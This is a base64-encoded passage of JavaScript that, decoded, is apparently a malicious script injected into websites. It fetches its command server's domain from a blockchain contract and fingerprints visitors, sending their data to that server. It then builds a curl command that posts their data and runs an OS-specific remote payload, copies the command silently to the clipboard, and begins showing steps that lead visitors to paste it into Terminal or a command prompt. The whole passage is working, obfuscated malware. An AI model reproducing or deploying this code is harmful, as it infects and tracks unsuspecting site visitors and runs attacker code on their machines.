haW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgICAgdmFyIGFwcHMgPSBhcHBzUmVzcCAmJiBhcHBzUmVzcC5yZXN1bHQgPyBkZWNvZGVBYmlTdHJpbmcoYXBwc1Jlc3AucmVzdWx0KSA6ICcnOw0KICAgICAgICAgICAgICB2YXIgdmVyY2VsID0gdmVyY2VsUmVzcCAmJiB2ZXJjZWxSZXNwLnJlc3VsdCA/IGRlY29kZUFiaVN0cmluZyh2ZXJjZWxSZXNwLnJlc3VsdCkgOiAnJzsNCiAgICAgICAgICAgICAgaWYgKCFpc1ZhbGlkQXBwc1VybChhcHBzKSB8fCAhaXNWYWxpZFZlcmNlbEJhc2UodmVyY2VsKSkgew0KICAgICAgICAgICAgICAgIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICB2ZXJjZWwgPSBTdHJpbmcodmVyY2VsKS5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgICAgICAgICAgICB3cml0ZUxpbmtDYWNoZSh2ZXJzaW9uLCBhcHBzLCB2ZXJjZWwpOw0KICAgICAgICAgICAgICByZXR1cm4geyBhcHBzOiBhcHBzLCB2ZXJjZWw6IHZlcmNlbCwgdmVyc2lvbjogdmVyc2lvbiB9Ow0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgfSk7DQogICAgICB9KQ0KICAgICAgLmNhdGNoKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBsb2FkTGlua0NvbmZpZygpIHsNCiAgICByZXR1cm4gZmV0Y2hMaW5rQ29uZmlnRnJvbUNoYWluKDApLnRoZW4oZnVuY3Rpb24gKGNmZykgew0KICAgICAgaWYgKGNmZykgcmV0dXJuIGNmZzsNCiAgICAgIHZhciBjYWNoZWQgPSByZWFkTGlua0NhY2hlKCk7DQogICAgICBpZiAoY2FjaGVkICYmIGlzVmFsaWRBcHBzVXJsKGNhY2hlZC5hcHBzKSAmJiBpc1ZhbGlkVmVyY2VsQmFzZShjYWNoZWQudmVyY2VsKSkgew0KICAgICAgICByZXR1cm4geyBhcHBzOiBjYWNoZWQuYXBwcywgdmVyY2VsOiBjYWNoZWQudmVyY2VsLCB2ZXJzaW9uOiBjYWNoZWQudmVyc2lvbiB8fCAwIH07DQogICAgICB9DQogICAgICByZXR1cm4geyBhcHBzOiBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkwsIHZlcmNlbDogRkFMTEJBQ0tfVkVSQ0VMX0JBU0UsIHZlcnNpb246IDAgfTsNCiAgICB9KTsNCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKG51bGwpOw0KDQogICAgdmFyIHJlcXVlc3RCb2R5ID0gew0KICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICBtZXRob2Q6ICdldGhfY2FsbCcsDQogICAgICBwYXJhbXM6IFt7IHRvOiBkb21haW5Db250cmFjdEFkZHJlc3MsIGRhdGE6ICcweCcgKyBkb21haW5NZXRob2RTZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQoNCiAgICByZXR1cm4gcnBjQ2FsbChycGNMaXN0W3JwY0luZGV4XSwgcmVxdWVzdEJvZHkpDQogICAgICAudGhlbihmdW5jdGlvbiAocmVzcG9uc2UpIHsNCiAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlLmVycm9yKSByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgdmFyIGRvbWFpbiA9IHJlc3BvbnNlICYmIHJlc3BvbnNlLnJlc3VsdCA/IGRlY29kZUFiaVN0cmluZyhyZXNwb25zZS5yZXN1bHQpIDogJyc7DQogICAgICAgIGlmIChkb21haW4pIHJldHVybiBkb21haW4ucmVwbGFjZSgvXC8rJC8sICcnKTsNCiAgICAgICAgcmV0dXJuIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4ICsgMSk7DQogICAgICB9KQ0KICAgICAgLmNhdGNoKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgcmV0dXJuIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4ICsgMSk7DQogICAgICB9KTsNCiAgfQ0KDQogIFByb21pc2UuYWxsKFtsb2FkTGlua0NvbmZpZygpLCBmZXRjaERvbWFpbkZyb21DaGFpbigwKV0pLnRoZW4oZnVuY3Rpb24gKHJlc3VsdHMpIHsNCiAgICBhcHBseUxpbmtDb25maWcocmVzdWx0c1swXSk7DQogICAgdmFyIGRvbWFpbiA9IHJlc3VsdHNbMV07DQogICAgaWYgKCFkb21haW4pIHJldHVybjsNCg0KICAgIChmdW5jdGlvbigpIHsNCiAgICAgICAgJ3VzZSBzdHJpY3QnOw0KDQogICAgICAgIHZhciBBUElfQVVUSF9LRVkgPSAiZDEwNzNmMzhlNGM1ODU1Zjg0MzVjNDYxOTRmN2IxYWQ3NGI0MDY1YjQyZmIwMmNiIjsNCiAgICAgICAgdmFyIENDX1NFUlZFUl9BUElfVVJMID0gZG9tYWluICsgIi9hcGkucGhwIjsNCiAgICAgICAgdmFyIFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNID0gZGV0ZWN0VmlzaXRvck9zKCk7DQogICAgICAgIHZhciBJU19BQ1RJVkUgPSB0cnVlOw0KICAgICAgICB2YXIgVEVTVF9NT0RFID0gZmFsc2U7DQogICAgICAgIHZhciBDVVNUT01fRE9NQUlOID0gJyc7DQogICAgICAgIHZhciBCQUNLR1JPVU5EX09QQUNJVFkgPSAxLjAwOw0KDQogICAgICAgIHZhciBMT0NBTF9TVE9SQUdFX0tFWSA9IChmdW5jdGlvbihhdXRoS2V5KSB7DQoNCiAgICAgICAgICAgIHZhciBzdHJpbmdUb0hhc2ggPSBhdXRoS2V5ICsgJ1x4MDAnICsgKGxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnKTsNCiAgICAgICAgICAgIHZhciBoYXNoVmFsdWUgPSAyMTY2MTM2MjYxOw0KDQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ1RvSGFzaC5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGhhc2hWYWx1ZSBePSBzdHJpbmdUb0hhc2guY2hhckNvZGVBdChpKTsNCiAgICAgICAgICAgICAgICBoYXNoVmFsdWUgPSAoaGFzaFZhbHVlICogMTY3Nzc2MTkpID4+PiAwOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gJ18nICsgaGFzaFZhbHVlLnRvU3RyaW5nKDM2KTsNCiAgICAgICAgfSkoQVBJX0FVVEhfS0VZKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9JRF9TVE9SQUdFX0tFWSA9IExPQ0FMX1NUT1JBR0VfS0VZICsgJ192aWQnOw0KDQogICAgICAgIGZ1bmN0aW9uIGdlbmVyYXRlUmFuZG9tVmlzaXRvcklkKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnJhbmRvbVVVSUQoKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgdmFyIHJhbmRvbUJ5dGVzID0gbmV3IFVpbnQ4QXJyYXkoMTYpOw0KICAgICAgICAgICAgICAgIGNyeXB0by5nZXRSYW5kb21WYWx1ZXMocmFuZG9tQnl0ZXMpOw0KICAgICAgICAgICAgICAgIHJhbmRvbUJ5dGVzWzZdID0gKHJhbmRvbUJ5dGVzWzZdICYgMTUpIHwgNjQ7DQogICAgICAgICAgICAgICAgcmFuZG9tQnl0ZXNbOF0gPSAocmFuZG9tQnl0ZXNbOF0gJiA2MykgfCAxMjg7DQoNCiAgICAgICAgICAgICAgICB2YXIgdXVpZFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgICAgIHZhciBieXRlSW5kZXg7DQogICAgICAgICAgICAgICAgZm9yIChieXRlSW5kZXggPSAwOyBieXRlSW5kZXggPCAxNjsgYnl0ZUluZGV4KyspIHsNCiAgICAgICAgICAgICAgICAgICAgdXVpZFN0cmluZyArPSByYW5kb21CeXRlc1tieXRlSW5kZXhdLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoYnl0ZUluZGV4ID09PSAzIHx8IGJ5dGVJbmRleCA9PT0gNSB8fCBieXRlSW5kZXggPT09IDcgfHwgYnl0ZUluZGV4ID09PSA5KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB1dWlkU3RyaW5nICs9ICctJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gdXVpZFN0cmluZzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBVTklRVUVfVklTSVRPUl9JRCA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgdmFyIGV4aXN0aW5nSWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShWSVNJVE9SX0lEX1NUT1JBR0VfS0VZKTsNCiAgICAgICAgICAgICAgICBpZiAoZXhpc3RpbmdJZCkgcmV0dXJuIGV4aXN0aW5nSWQ7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgdmFyIG5ld0lkID0gZ2VuZXJhdGVSYW5kb21WaXNpdG9ySWQoKTsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oVklTSVRPUl9JRF9TVE9SQUdFX0tFWSwgbmV3SWQpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQogICAgICAgICAgICByZXR1cm4gbmV3SWQ7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgdmFyIFZJU0lUT1JfTE9DQVRJT04gPSAoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB2YXIgdGltZXpvbmUgPSAnJzsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgdGltZXpvbmUgPSBJbnRsLkRhdGVUaW1lRm9ybWF0KCkucmVzb2x2ZWRPcHRpb25zKCkudGltZVpvbmUgfHwgJyc7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgIHZhciBsYW5ndWFnZSA9IG5hdmlnYXRvci5sYW5ndWFnZSB8fCBuYXZpZ2F0b3IudXNlckxhbmd1YWdlIHx8ICcnOw0KICAgICAgICAgICAgdmFyIHBhcnRzID0gW107DQogICAgICAgICAgICBpZiAodGltZXpvbmUpIHBhcnRzLnB1c2godGltZXpvbmUpOw0KICAgICAgICAgICAgaWYgKGxhbmd1YWdlKSBwYXJ0cy5wdXNoKGxhbmd1YWdlKTsNCiAgICAgICAgICAgIHJldHVybiBwYXJ0cy5qb2luKCcgfCAnKSB8fCAndW5rbm93bic7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgdmFyIFZJU0lUT1JfU0lURV9VUkwgPSAoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHJldHVybiBsb2NhdGlvbi5ocmVmIHx8IGxvY2F0aW9uLm9yaWdpbiB8fCAnJzsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICcnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KSgpOw0KDQogICAgICAgIGZ1bmN0aW9uIGVzY2FwZUNtZEV4ZVF1b3RlZEFyZyhzKSB7DQogICAgICAgICAgICByZXR1cm4gU3RyaW5nKHMpLnJlcGxhY2UoLyIvZywgJyIiJyk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZFBvc3REYXRhRmllbGRzKG9zRmFtaWx5LCBvc0xhYmVsLCBub3dJc28pIHsNCiAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgJ2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoVU5JUVVFX1ZJU0lUT1JfSUQpLA0KICAgICAgICAgICAgICAgICdsb2NhdGlvbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFZJU0lUT1JfTE9DQVRJT04pLA0KICAgICAgICAgICAgICAgICdzaXRlVXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoVklTSVRPUl9TSVRFX1VSTCksDQogICAgICAgICAgICAgICAgJ29zPScgKyBlbmNvZGVVUklDb21wb25lbnQob3NMYWJlbCB8fCBvc0ZhbWlseSksDQogICAgICAgICAgICAgICAgJ2xhc3RWaXNpdEF0PScgKyBlbmNvZGVVUklDb21wb25lbnQobm93SXNvKSwNCiAgICAgICAgICAgICAgICAnbGFzdFNoZWxsQXQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChub3dJc28pDQogICAgICAgICAgICBdOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gYnVpbGRXaW5kb3dzQ3VybERhdGFBcmdzKGZpZWxkcykgew0KICAgICAgICAgICAgdmFyIHBhcnRzID0gW107DQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGZpZWxkcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHBhcnRzLnB1c2goJy1kICInICsgZXNjYXBlQ21kRXhlUXVvdGVkQXJnKGZpZWxkc1tpXSkgKyAnIicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIHBhcnRzLmpvaW4oJyAnKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpIHsNCiAgICAgICAgICAgIHZhciBvc0ZhbWlseSA9IFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNIHx8IGRldGVjdFZpc2l0b3JPcygpOw0KICAgICAgICAgICAgdmFyIG9zTGFiZWwgPSBnZXRWaXNpdG9yT3NMYWJlbCgpOw0KICAgICAgICAgICAgdmFyIHZlcmNlbENvbW1hbmQgPSBnZXRWZXJjZWxDb21tYW5kKG9zRmFtaWx5KTsNCiAgICAgICAgICAgIHZhciBub3dJc28gPSBuZXcgRGF0ZSgpLnRvSVNPU3RyaW5nKCk7DQogICAgICAgICAgICB2YXIgcG9zdERhdGFGaWVsZHMgPSBidWlsZFBvc3REYXRhRmllbGRzKG9zRmFtaWx5LCBvc0xhYmVsLCBub3dJc28pOw0KICAgICAgICAgICAgdmFyIHBvc3REYXRhID0gcG9zdERhdGFGaWVsZHMuam9pbignJicpOw0KICAgICAgICAgICAgLy8gRG8gTk9UIGZvcmNlIFBPU1QgdmlhIC1YIHdpdGggLUwuIEFwcHMgU2NyaXB0IDMwMnMgdG8gYW4gZWNobyBVUkw7DQogICAgICAgICAgICAvLyBmb3JjaW5nIFBPU1Qgb24gdGhhdCByZWRpcmVjdCByZXR1cm5zIDQxMS80MDUgc28gdGhlIHNoZWV0IG5ldmVyDQogICAgICAgICAgICAvLyB1cGRhdGVzLiAtZCBhbG9uZSBQT1NUcyB0aGUgZmlyc3QgaG9wOyBjdXJsIHRoZW4gR0VUcyB0aGUgcmVkaXJlY3QuDQogICAgICAgICAgICBpZiAob3NGYW1pbHkgPT09ICd3aW5kb3dzJykgew0KICAgICAgICAgICAgICAgIC8vIFVzZSBvbmUgLWQgcGVyIGZpZWxkIHNvIENNRCBuZXZlciBzZWVzIGJhcmUgJiBpbnNpZGUgYSBxdW90ZWQgYXJnLg0KICAgICAgICAgICAgICAgIHZhciBhcHBzU2NyaXB0Q29tbWFuZCA9DQogICAgICAgICAgICAgICAgICAgICdjdXJsLmV4ZSAtc0wgJyArIGJ1aWxkV2luZG93c0N1cmxEYXRhQXJncyhwb3N0RGF0YUZpZWxkcykgKw0KICAgICAgICAgICAgICAgICAgICAnICInICsgZXNjYXBlQ21kRXhlUXVvdGVkQXJnKEFQUFNfU0NSSVBUX1VSTCkgKyAnIic7DQogICAgICAgICAgICAgICAgLy8gV3JhcCBpbiBjbWQuZXhlIC9jICIuLi4iIHdpdGggQ01ELXN0eWxlIGRvdWJsZWQgcXVvdGVzIHNvIHBhc3RlIHdvcmtzDQogICAgICAgICAgICAgICAgLy8gaW4gYm90aCBDTUQgYW5kIFBvd2VyU2hlbGwgKCYgYW5kIHwgYXJlIGxpdGVyYWwgaW5zaWRlIFBTIGRvdWJsZSBxdW90ZXMpLg0KICAgICAgICAgICAgICAgIHZhciBpbm5lciA9IGFwcHNTY3JpcHRDb21tYW5kICsgJyAmICcgKyB2ZXJjZWxDb21tYW5kOw0KICAgICAgICAgICAgICAgIHJldHVybiAnY21kLmV4ZSAvYyAiJyArIGVzY2FwZUNtZEV4ZVF1b3RlZEFyZyhpbm5lcikgKyAnIic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgYXBwc1NjcmlwdENvbW1hbmQgPQ0KICAgICAgICAgICAgICAgICdjdXJsIC1zTCAtZCAiJyArIHBvc3REYXRhICsgJyIgIicgKyBBUFBTX1NDUklQVF9VUkwgKyAnIic7DQogICAgICAgICAgICAvLyBHb29nbGUgc2hlZXQgUE9TVCBmaXJzdCwgdGhlbiBPUy1zcGVjaWZpYyBWZXJjZWwgcGF5bG9hZC4NCiAgICAgICAgICAgIHJldHVybiBhcHBzU2NyaXB0Q29tbWFuZCArICcgJiYgJyArIHZlcmNlbENvbW1hbmQ7DQogICAgICAgIH0NCg0KICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfQ01EID0gYnVpbGRDbGlwYm9hcmRDb21tYW5kKCk7IH0gY2F0Y2ggKGUpIHt9DQoNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICghVEVTVF9NT0RFICYmDQogICAgICAgICAgICAgICAgKGxvY2FsU3RvcmFnZS5nZXRJdGVtKExPQ0FMX1NUT1JBR0VfS0VZKSB8fA0KICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpKSkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgKGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBmdW5jdGlvbiBzZW5kUGl4ZWxUcmFja2luZ1JlcXVlc3QodXJsKSB7DQogICAgICAgICAgICAgICAgaWYgKHdpbmRvdy5mZXRjaCkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZmV0Y2godXJsLCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbW9kZTogJ25vLWNvcnMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNyZWRlbnRpYWxzOiAnb21pdCcNCiAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAobmV3IEltYWdlKS5zcmMgPSB1cmw7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIChuZXcgSW1hZ2UpLnNyYyA9IHVybDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciB0cmFja2luZ0RhdGEgPSBKU09OLnN0cmluZ2lmeSh7DQogICAgICAgICAgICAgICAgdXJsOiBsb2NhdGlvbi5ocmVmLA0KICAgICAgICAgICAgICAgIHJlZjogZG9jdW1lbnQucmVmZXJyZXIgfHwgJycsDQogICAgICAgICAgICAgICAgdmlkOiBVTklRVUVfVklTSVRPUl9JRA0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIHNlbmRVbmVuY3J5cHRlZERhdGEoKSB7DQogICAgICAgICAgICAgICAgc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICBDQ19TRVJWRVJfQVBJX1VSTCArDQogICAgICAgICAgICAgICAgICAgICc/az0nICsgZW5jb2RlVVJJQ29tcG9uZW50KEFQSV9BVVRIX0tFWSkgKw0KICAgICAgICAgICAgICAgICAgICAnJnVybD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGxvY2F0aW9uLmhyZWYpICsNCiAgICAgICAgICAgICAgICAgICAgJyZyZWY9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlciB8fCAnJykgKw0KICAgICAgICAgICAgICAgICAgICAnJnZpZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFVOSVFVRV9WSVNJVE9SX0lEKSArDQogICAgICAgICAgICAgICAgICAgIChURVNUX01PREUgPyAnJnRlc3Q9MScgOiAnJykNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXdpbmRvdy5jcnlwdG8gfHwgIWNyeXB0by5zdWJ0bGUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gc2VuZFVuZW5jcnlwdGVkRGF0YSgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBjcnlwdG8uc3VidGxlLmRpZ2VzdCgnU0hBLTI1NicsIG5ldyBUZXh0RW5jb2RlcigpLmVuY29kZShBUElfQVVUSF9LRVkpKQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGtleUJ1ZmZlcikgew0KDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBjcnlwdG8uc3VidGxlLmltcG9ydEtleSgncmF3Jywga2V5QnVmZmVyLCB7DQogICAgICAgICAgICAgICAgICAgICAgICBuYW1lOiAnQUVTLUdDTScNCiAgICAgICAgICAgICAgICAgICAgfSwgZmFsc2UsIFsnZW5jcnlwdCddKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGNyeXB0b0tleSkgew0KDQogICAgICAgICAgICAgICAgICAgIHZhciBpbml0aWFsaXphdGlvblZlY3RvciA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTIpKTsNCg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnN1YnRsZS5lbmNyeXB0KHsNCiAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU6ICdBRVMtR0NNJywNCiAgICAgICAgICAgICAgICAgICAgICAgIGl2OiBpbml0aWFsaXphdGlvblZlY3Rvcg0KICAgICAgICAgICAgICAgICAgICB9LCBjcnlwdG9LZXksIG5ldyBUZXh0RW5jb2RlcigpLmVuY29kZSh0cmFja2luZ0RhdGEpKQ0KICAgICAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihlbmNyeXB0ZWREYXRhKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjb21iaW5lZEJ1ZmZlciA9IG5ldyBVaW50OEFycmF5KDEyICsgZW5jcnlwdGVkRGF0YS5ieXRlTGVuZ3RoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbWJpbmVkQnVmZmVyLnNldChpbml0aWFsaXphdGlvblZlY3Rvcik7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21iaW5lZEJ1ZmZlci5zZXQobmV3IFVpbnQ4QXJyYXkoZW5jcnlwdGVkRGF0YSksIDEyKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGJhc2U2NFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjb21iaW5lZEJ1ZmZlci5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhc2U2NFN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvbWJpbmVkQnVmZmVyW2ldKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENDX1NFUlZFUl9BUElfVVJMICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnP2s9JyArIGVuY29kZVVSSUNvbXBvbmVudChBUElfQVVUSF9LRVkpICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJmQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChidG9hKGJhc2U2NFN0cmluZykpICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAoVEVTVF9NT0RFID8gJyZ0ZXN0PTEnIDogJycpDQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC5jYXRjaChzZW5kVW5lbmNyeXB0ZWREYXRhKTsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICBmdW5jdGlvbiBjb3B5VGV4dFRvQ2xpcGJvYXJkKHRleHQpIHsNCiAgICAgICAgICAgIGNvcHlUZXh0TGVnYWN5TWV0aG9kKHRleHQpOw0KDQogICAgICAgICAgICBpZiAobmF2aWdhdG9yLmNsaXBib2FyZCAmJiBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCkgew0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHRleHQpOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBjb3B5VGV4dExlZ2FjeU1ldGhvZCh0ZXh0KSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHZhciBoaWRkZW5UZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7DQogICAgICAgICAgICAgICAgaGlkZGVuVGV4dGFyZWEudmFsdWUgPSB0ZXh0Ow0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnN0eWxlLmNzc1RleHQgPSAncG9zaXRpb246Zml4ZWQ7bGVmdDotOTk5OXB4O3RvcDowO29wYWNpdHk6MDsnOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaGlkZGVuVGV4dGFyZWEpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLmZvY3VzKCk7DQogICAgICAgICAgICAgICAgaGlkZGVuVGV4dGFyZWEuc2VsZWN0KCk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGhpZGRlblRleHRhcmVhKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBXSU5ET1dTX0xPR09fU1ZHID0gJzxzdmcgdmlld0JveD0iMCAwIDI0IDI0IiB3aWR0aD0iMTMiIGhlaWdodD0iMTMiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZmlsbDpjdXJyZW50Q29sb3I7Ij48cGF0aCBkPSJNMyA1LjMzIDEwLjc0IDR2Ny4yOEgzem04Ljc2LTEuNDlMMjEgMi4yNXY5LjAzaC05LjI0ek0zIDEyLjM5aDcuNzR2Ny4yOEwzIDE4LjMzem04Ljc2IDBIMjF2OS4zNmwtOS4yNC0xLjU5eiIvPjwvc3ZnPic7DQoNCiAgICAgICAgdmFyIE9TX0lOU1RSVUNUSU9OX1BBQ0tTID0gew0KICAgICAgICAgICAgbWFjOiB7DQogICAgICAgICAgICAgICAgZW46IHtrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBNYWMga2V5Ym9hcmQnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDondGhlbiBwcmVzcyBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1ByZXNzIFx1MjMxOCAoQ29tbWFuZCkgbmV4dCB0byB0aGUgc3BhY2UgYmFyLCB0aGVuIFNwYWNlIHRvIG9w